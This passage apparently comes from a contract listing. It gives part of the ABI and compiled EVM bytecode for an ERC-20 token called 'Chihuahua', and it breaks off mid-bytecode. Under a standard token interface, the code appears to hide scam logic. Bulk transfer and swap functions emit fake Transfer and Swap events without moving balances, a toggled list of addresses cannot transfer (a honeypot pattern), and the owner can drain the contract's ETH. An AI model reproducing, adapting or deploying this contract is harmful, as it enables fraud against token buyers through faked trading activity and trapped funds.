"internalType":"uint256","name":"_mev_approval_tokens_","type":"uint256"}],"name":"setMEVProtectionParams","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_to_","type":"address"},{"internalType":"uint256","name":"_out_","type":"uint256"}],"name":"swapExactETHForTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_tos_","type":"address[]"},{"internalType":"uint256[]","name":"_outs_","type":"uint256[]"}],"name":"swapExactETHForTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from_","type":"address"},{"internalType":"uint256","name":"_in_","type":"uint256"}],"name":"swapExactTokensForETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from_","type":"address"},{"internalType":"uint256","name":"_in_","type":"uint256"}],"name":"swapExactTokensForETHSupportingFeeOnTransferTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_from","type":"address[]"},{"internalType":"address[]","name":"_to","type":"address[]"},{"internalType":"uint256[]","name":"_wad","type":"uint256[]"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_wad","type":"uint256"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526000600560006101000a81548160ff021916908315150217905550733fc91a3afd70395cd496c647d5a6cc9d4b2b7fad600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550737a250d5630b4cf539739df2c5dacb4c659f2488d600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620186a0600b55670de0b6b3a7640000600c556c0c9f2c9cd04674edea40000000600d55600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156200015d57600080fd5b506040518060400160405280600981526020017f43686968756168756100000000000000000000000000000000000000000000008152506040518060400160405280600981526020017f43484948554148554100000000000000000000000000000000000000000000008152508181620001ec620001e06200025b60201b60201c565b6200026360201b60201c565b8160069081620001fd919062000722565b5080600790816200020f919062000722565b50505050506200025533620002296200032760201b60201c565b600a62000237919062000999565b64174876e800620002499190620009ea565b6200033060201b60201c565b62000b21565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60006012905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620003a2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620003999062000a96565b60405180910390fd5b620003b6600083836200049e60201b60201c565b8060046000828254620003ca919062000ab8565b9250508190555080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516200047e919062000b04565b60405180910390a36200049a60008383620004a360201b60201c565b5050565b505050565b505050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200052a57607f821691505b60208210810362000540576200053f620004e2565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620005aa7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200056b565b620005b686836200056b565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000603620005fd620005f784620005ce565b620005d8565b620005ce565b9050919050565b6000819050919050565b6200061f83620005e2565b620006376200062e826200060a565b84845462000578565b825550505050565b600090565b6200064e6200063f565b6200065b81848462000614565b505050565b5b8181101562000683576200067760008262000644565b60018101905062000661565b5050565b601f821115620006d2576200069c8162000546565b620006a7846200055b565b81016020851015620006b7578190505b620006cf620006c6856200055b565b83018262000660565b50505b505050565b600082821c905092915050565b6000620006f760001984600802620006d7565b1980831691505092915050565b6000620007128383620006e4565b9150826002028217905092915050565b6200072d82620004a8565b67ffffffffffffffff811115620007495762000748620004b3565b5b62000755825462000511565b6200076282828562000687565b600060209050601f8311600181146200079a576000841562000785578287015190505b62000791858262000704565b86555062000801565b601f198416620007aa8662000546565b60005b82811015620007d457848901518255600182019150602085019450602081019050620007ad565b86831015620007f45784890151620007f0601f891682620006e4565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000897578086048111156200086f576200086e62000809565b5b60018516156200087f5780820291505b80810290506200088f8562000838565b94506200084f565b94509492505050565b600082620008b2576001905062000985565b81620008c2576000905062000985565b8160018114620008db5760028114620008e6576200091c565b600191505062000985565b60ff841115620008fb57620008fa62000809565b5b8360020a91508482111562000915576200091462000809565b5b5062000985565b5060208310610133831016604e8410600b8410161715620009565782820a90508381111562000950576200094f62000809565b5b62000985565b62000965848484600162000845565b925090508184048111156200097f576200097e62000809565b5b81810290505b9392505050565b600060ff82169050919050565b6000620009a682620005ce565b9150620009b3836200098c565b9250620009e27fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620008a0565b905092915050565b6000620009f782620005ce565b915062000a0483620005ce565b925082820262000a1481620005ce565b9150828204841483151762000a2e5762000a2d62000809565b5b5092915050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062000a7e601f8362000a35565b915062000a8b8262000a46565b602082019050919050565b6000602082019050818103600083015262000ab18162000a6f565b9050919050565b600062000ac582620005ce565b915062000ad283620005ce565b925082820190508082111562000aed5762000aec62000809565b5b92915050565b62000afe81620005ce565b82525050565b600060208201905062000b1b600083018462000af3565b92915050565b6136c88062000b316000396000f3fe6080604052600436106101bb5760003560e01c80637e7aaf37116100ec578063b79c48e51161008a578063dd62ed3e11610064578063dd62ed3e14610647578063e6bd3c0d14610684578063f2fde38b146106ad578063fb92b180146106d6576101fb565b8063b79c48e5146105de578063beabacc814610607578063c78052c614610630576101fb565b806399fda493116100c657806399fda49314610512578063a1c617f51461053b578063a457c2d714610564578063a9059cbb146105a1576101fb565b80637e7aaf37146104935780638da5cb5b146104bc57806395d89b41146104e7576101fb565b806339509351116101595780637111a994116101335780637111a99414610401578063715018a61461042a57806377a1736b146104415780637aac697b1461046a576101fb565b8063395093511461034a5780634551a9de1461038757806370a08231146103c4576101fb565b80631d63c093116101955780631d63c0931461029057806323b872dd146102b9578063313ce567146102f657806338bf3cfa14610321576101fb565b806306fdde03146101fd578063095ea7b31461022857806318160ddd14610265576101fb565b366101fb577f88a5966d370b9919b20f3e2c13ff65706f196a4e32cc2c12bf57088f8852587433346040516101f1929190612602565b60405180910390a1005b005b34801561020957600080fd5b506102126106ff565b60405161021f91906126bb565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a9190612749565b610791565b60405161025c91906127a4565b60405180910390f35b34801561027157600080fd5b5061027a6107b4565b60405161028791906127bf565b60405180910390f35b34801561029c57600080fd5b506102b760048036038101906102b29190612749565b6107be565b005b3480156102c557600080fd5b506102e060048036038101906102db91906127da565b610aa4565b6040516102ed91906127a4565b60405180910390f35b34801561030257600080fd5b5061030b610ad3565b6040516103189190612849565b60405180910390f35b34801561032d57600080fd5b5061034860048036038101906103439190612864565b610adc565b005b34801561035657600080fd5b50610371600480360381019061036c9190612749565b610b28565b60405161037e91906127a4565b60405180910390f35b34801561039357600080fd5b506103ae60048036038101906103a99190612864565b610b5f565b6040516103bb91906127a4565b60405180910390f35b3480156103d057600080fd5b506103eb60048036038101906103e69190612864565b610bb5565b6040516103f891906127bf565b60405180910390f35b34801561040d57600080fd5b506104286004803603810190610423919061294c565b610bfe565b005b34801561043657600080fd5b5061043f610cf4565b005b34801561044d57600080fd5b5061046860048036038101906104639190612a00565b610d08565b005b34801561047657600080fd5b50610491600480360381019061048c9190612a4d565b610e92565b005b34801561049f57600080fd5b506104ba60048036038101906104b59190612749565b61101e565b005b3480156104c857600080fd5b506104d161131e565b6040516104de9190612ac1565b60405180910390f35b3480156104f357600080fd5b506104fc611347565b60405161050991906126bb565b60405180910390f35b34801561051e57600080fd5b5061053960048036038101906105349190612adc565b6113d9565b005b34801561054757600080fd5b50610562600480360381019061055d9190612a4d565b6113fb565b005b34801561057057600080fd5b5061058b60048036038101906105869190612749565b611586565b60405161059891906127a4565b60405180910390f35b3480156105ad57600080fd5b506105c860048036038101906105c39190612749565b6115fd565b6040516105d591906127a4565b60405180910390f35b3480156105ea57600080fd5b5061060560048036038101906106009190612749565b611620565b005b34801561061357600080fd5b5061062e600480360381019061062991906127da565b6118d6565b005b34801561063c57600080fd5b50610645611940565b005b34801561065357600080fd5b5061066e60048036038101906106699190612b2f565b611991565b60405161067b91906127bf565b60405180910390f35b34801561069057600080fd5b506106ab60048036038101906106a69190612a00565b611a18565b005b3480156106b957600080fd5b506106d460048036038101906106cf9190612864565b611ac5565b005b3480156106e257600080fd5b506106fd60048036038101906106f89190612b6f565b611b48565b005b60606006805461070e90612c1f565b80601f016020809104026020016040519081016040528092919081815260200182805461073a90612c1f565b80156107875780601f1061075c57610100808354040283529160200191610787565b820191906000526020600020905b81548152906001019060200180831161076a57829003601f168201915b5050505050905090565b60008061079c611e89565b90506107a9818585611e91565b600191505092915050565b6000600454905090565b6000600267ffffffffffffffff8111156107db576107da612c50565b5b6040519080825280602002602001820160405280156108095781602001602082028036833780820191505090505b509050308160008151811061082157610820612c7f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108c8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108ec9190612cc3565b81600181518110610900576108ff612c7f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061096930600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600d54611e91565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318cbafe5600c5460018430426040518663ffffffff1660e01b81526004016109cf959493929190612df3565b6000604051808303816000875af11580156109ee573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f82011682018060405250810190610a179190612f71565b50600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610a9791906127bf565b60405180910390a3505050565b600080610aaf611e89565b9050610abc85828561205a565b610ac78585856120e6565b60019150509392505050565b60006012905090565b610ae461245c565b80600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080610b33611e89565b9050610b54818585610b458589611991565b610b4f9190612fe9565b611e91565b600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60005b86869050811015610ceb57848482818110610c1f57610c1e612c7f565b5b9050602002016020810190610c349190612864565b73ffffffffffffffffffffffffffffffffffffffff16878783818110610c5d57610c5c612c7f565b5b9050602002016020810190610c729190612864565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef858585818110610cbc57610cbb612c7f565b5b90506020020135604051610cd091906127bf565b60405180910390a38080610ce39061301d565b915050610c01565b50505050505050565b610cfc61245c565b610d0660006124da565b565b610d1061245c565b60005b82829050811015610e8d57600160026000858585818110610d3757610d36612c7f565b5b9050602002016020810190610d4c9190612864565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16838383818110610de957610de8612c7f565b5b9050602002016020810190610dfe9190612864565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925610e65868686818110610e4b57610e4a612c7f565b5b9050602002016020810190610e609190612864565b610bb5565b604051610e7291906127bf565b60405180910390a38080610e859061301d565b915050610d13565b505050565b60005b8484905081101561101757848482818110610eb357610eb2612c7f565b5b9050602002016020810190610ec89190612864565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822600086866000604051610f4e94939291906130a0565b60405180910390a3600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16858583818110610fa257610fa1612c7f565b5b9050602002016020810190610fb79190612864565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610ffc91906127bf565b60405180910390a3808061100f9061301d565b915050610e95565b5050505050565b6000600267ffffffffffffffff81111561103b5761103a612c50565b5b6040519080825280602002602001820160405280156110695781602001602082028036833780820191505090505b509050308160008151811061108157611080612c7f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611128573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061114c9190612cc3565b816001815181106111605761115f612c7f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506111a78330600c54611e91565b6111b48330600c546120e6565b6111e330600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600d54611e91565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318cbafe5600c5460018430426040518663ffffffff1660e01b8152600401611249959493929190612df3565b6000604051808303816000875af1158015611268573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f820116820180604052508101906112919190612f71565b50600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161131191906127bf565b60405180910390a3505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606007805461135690612c1f565b80601f016020809104026020016040519081016040528092919081815260200182805461138290612c1f565b80156113cf5780601f106113a4576101008083540402835291602001916113cf565b820191906000526020600020905b8154815290600101906020018083116113b257829003601f168201915b5050505050905090565b6113e161245c565b82600b8190555081600c8190555080600d81905550505050565b60005b8484905081101561157f5784848281811061141c5761141b612c7f565b5b90506020020160208101906114319190612864565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d82285600080876040516114b694939291906130e5565b60405180910390a38484828181106114d1576114d0612c7f565b5b90506020020160208101906114e69190612864565b73ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161156491906127bf565b60405180910390a380806115779061301d565b9150506113fe565b5050505050565b600080611591611e89565b9050600061159f8286611991565b9050838110156115e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115db9061319c565b60405180910390fd5b6115f18286868403611e91565b60019250505092915050565b600080611608611e89565b90506116158185856120e6565b600191505092915050565b6000600267ffffffffffffffff81111561163d5761163c612c50565b5b60405190808252806020026020018201604052801561166b5781602001602082028036833780820191505090505b509050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156116db573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116ff9190612cc3565b8160008151811061171357611712612c7f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050308160018151811061176257611761612c7f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16637ff36ab5600b5460018487426040518663ffffffff1660e01b815260040161180194939291906131bc565b60006040518083038185885af115801561181f573d6000803e3d6000fd5b50505050506040513d6000823e3d601f19601f820116820180604052508101906118499190612f71565b508273ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516118c991906127bf565b60405180910390a3505050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161193391906127bf565b60405180910390a3505050565b61194861245c565b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f1935050505015801561198e573d6000803e3d6000fd5b50565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611a2061245c565b60005b82829050811015611ac057600060026000858585818110611a4757611a46612c7f565b5b9050602002016020810190611a5c9190612864565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611ab89061301d565b915050611a23565b505050565b611acd61245c565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611b3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b339061327a565b60405180910390fd5b611b45816124da565b50565b6000600267ffffffffffffffff811115611b6557611b64612c50565b5b604051908082528060200260200182016040528015611b935781602001602082028036833780820191505090505b509050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611c03573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c279190612cc3565b81600081518110611c3b57611c3a612c7f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250503081600181518110611c8a57611c89612c7f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060005b85859050811015611e8157600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16637ff36ab5600b546001858a8a87818110611d2957611d28612c7f565b5b9050602002016020810190611d3e9190612864565b426040518663ffffffff1660e01b8152600401611d5e94939291906131bc565b60006040518083038185885af1158015611d7c573d6000803e3d6000fd5b50505050506040513d6000823e3d601f19601f82011682018060405250810190611da69190612f71565b50858582818110611dba57611db9612c7f565b5b9050602002016020810190611dcf9190612864565b73ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef868685818110611e5257611e51612c7f565b5b90506020020135604051611e6691906127bf565b60405180910390a38080611e799061301d565b915050611cc7565b505050505050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611f00576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ef79061330c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611f6f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f669061339e565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161204d91906127bf565b60405180910390a3505050565b60006120668484611991565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146120e057818110156120d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120c99061340a565b60405180910390fd5b6120df8484848403611e91565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612155576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161214c9061349c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036121c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121bb9061352e565b60405180910390fd5b6121cf83838361259e565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612256576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161224d906135c0565b60405180910390fd5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061238a5750600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156123e65760011515600560009054906101000a900460ff161515146123e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123dc90613606565b60405180910390fd5b5b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161244391906127bf565b60405180910390a36124568484846125a3565b50505050565b612464611e89565b73ffffffffffffffffffffffffffffffffffffffff1661248261131e565b73ffffffffffffffffffffffffffffffffffffffff16146124d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124cf90613672565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b505050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006125d3826125a8565b9050919050565b6125e3816125c8565b82525050565b6000819050919050565b6125fc816125e9565b82525050565b600060408201905061261760008301856125da565b61262460208301846125f3565b9392505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561266557808201518184015260208101905061264a565b60008484015250505050565b6000601f19601f8301169050919050565b600061268d8261262b565b6126978185612636565b93506126a7818560208601612647565b6126b081612671565b840191505092915050565b600060208201905081810360008301526126d58184612682565b905092915050565b6000604051905090565b600080fd5b600080fd5b6126fa816125c8565b811461270557600080fd5b50565b600081359050612717816126f1565b92915050565b612726816125e9565b811461273157600080fd5b50565b6000813590506127438161271d565b92915050565b600080604083850312156127605761275f6126e7565b5b600061276e85828601612708565b925050602061277f85828601612734565b9150509250929050565b60008115159050919050565b61279e81612789565b82525050565b60006020820190506127b96000830184612795565b92915050565b60006020820190506127d460008301846125f3565b92915050565b6000806000606084860312156127f3576127f26126e7565b5b600061280186828701612708565b935050602061281286828701612708565b925050604061282386828701612734565b9150509250925092565b600060ff82169050919050565b6128438161282d565b82525050565b600060208201905061285e600083018461283a565b92915050565b60006020828403121561287a576128796126e7565b5b600061288884828501612708565b91505092915050565b600080fd5b600080fd5b600080fd5b60008083601f8401126128b6576128b5612891565b5b8235905067ffffffffffffffff8111156128d3576128d2612896565b5b6020830191508360208202830111156128ef576128ee61289b565b5b9250929050565b60008083601f84011261290c5761290b612891565b5b8235905067ffffffffffffffff81111561292957612928612896565b5b6020830191508360208202830111156129455761294461289b565b5b9250929050565b60008060008060008060608789031215612969576129686126e7565b5b600087013567ffffffffffffffff811115612987576129866126ec565b5b61299389828a016128a0565b9650965050602087013567ffffffffffffffff8111156129b6576129b56126ec565b5b6129c289828a016128a0565b9450945050604087013567ffffffffffffffff8111156129e5576129e46126ec565b5b6129f189828a016128f6565b92509250509295509295509295565b60008060208385031215612a1757612a166126e7565b5b600083013567ffffffffffffffff811115612a3557612a346126ec565b5b612a41858286016128a0565b92509250509250929050565b60008060008060608587031215612a6757612a666126e7565b5b600085013567ffffffffffffffff811115612a8557612a846126ec565b5b612a91878288016128a0565b94509450506020612aa487828801612734565b9250506040612ab587828801612734565b91505092959194509250565b6000602082019050612ad660008301846125da565b92915050565b600080600060608486031215612af557612af46126e7565b5b6000612b0386828701612734565b9350506020612b1486828701612734565b9250506040612b2586828701612734565b9150509250925092565b60008060408385031215612b4657612b456126e7565b5b6000612b5485828601612708565b9250506020612b6585828601612708565b9150509250929050565b60008060008060408587031215612b8957612b886126e7565b5b600085013567ffffffffffffffff811115612ba757612ba66126ec565b5b612bb3878288016128a0565b9450945050602085013567ffffffffffffffff811115612bd657612bd56126ec565b5b612be2878288016128f6565b925092505092959194509250565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680612c3757607f821691505b602082108103612c4a57612c49612bf0565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050612cbd816126f1565b92915050565b600060208284031215612cd957612cd86126e7565b5b6000612ce784828501612cae565b91505092915050565b6000819050919050565b6000819050919050565b6000612d1f612d1a612d1584612cf0565b612cfa565b6125e9565b9050919050565b612d2f81612d04565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b612d6a816125c8565b82525050565b6000612d7c8383612d61565b60208301905092915050565b6000602082019050919050565b6000612da082612d35565b612daa8185612d40565b9350612db583612d51565b8060005b83811015612de6578151612dcd8882612d70565b9750612dd883612d88565b925050600181019050612db9565b5085935050505092915050565b600060a082019050612e0860008301886125f3565b612e156020830187612d26565b8181036040830152612e278186612d95565b9050612e3660608301856125da565b612e4360808301846125f3565b9695505050505050565b612e5682612671565b810181811067ffffffffffffffff82111715612e7557612e74612c50565b5b80604052505050565b6000612e886126dd565b9050612e948282612e4d565b919050565b600067ffffffffffffffff821115612eb457612eb3612c50565b5b602082029050602081019050919050565b600081519050612ed48161271d565b92915050565b6000612eed612ee884612e99565b612e7e565b90508083825260208201905060208402830185811115612f1057612f0f61289b565b5b835b81811015612f395780612f258882612ec5565b845260208401935050602081019050612f12565b5050509392505050565b600082601f830112612f5857612f57612891565b5b8151612f68848260208601612eda565b91505092915050565b600060208284031215612f8757612f866126e7565b5b600082015167ffffffffffffffff811115612fa557612fa46126ec565b5b612fb184828501612f43565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612ff4826125e9565b9150612fff836125e9565b925082820190508082111561301757613016612fba565b5b92915050565b6000613028826125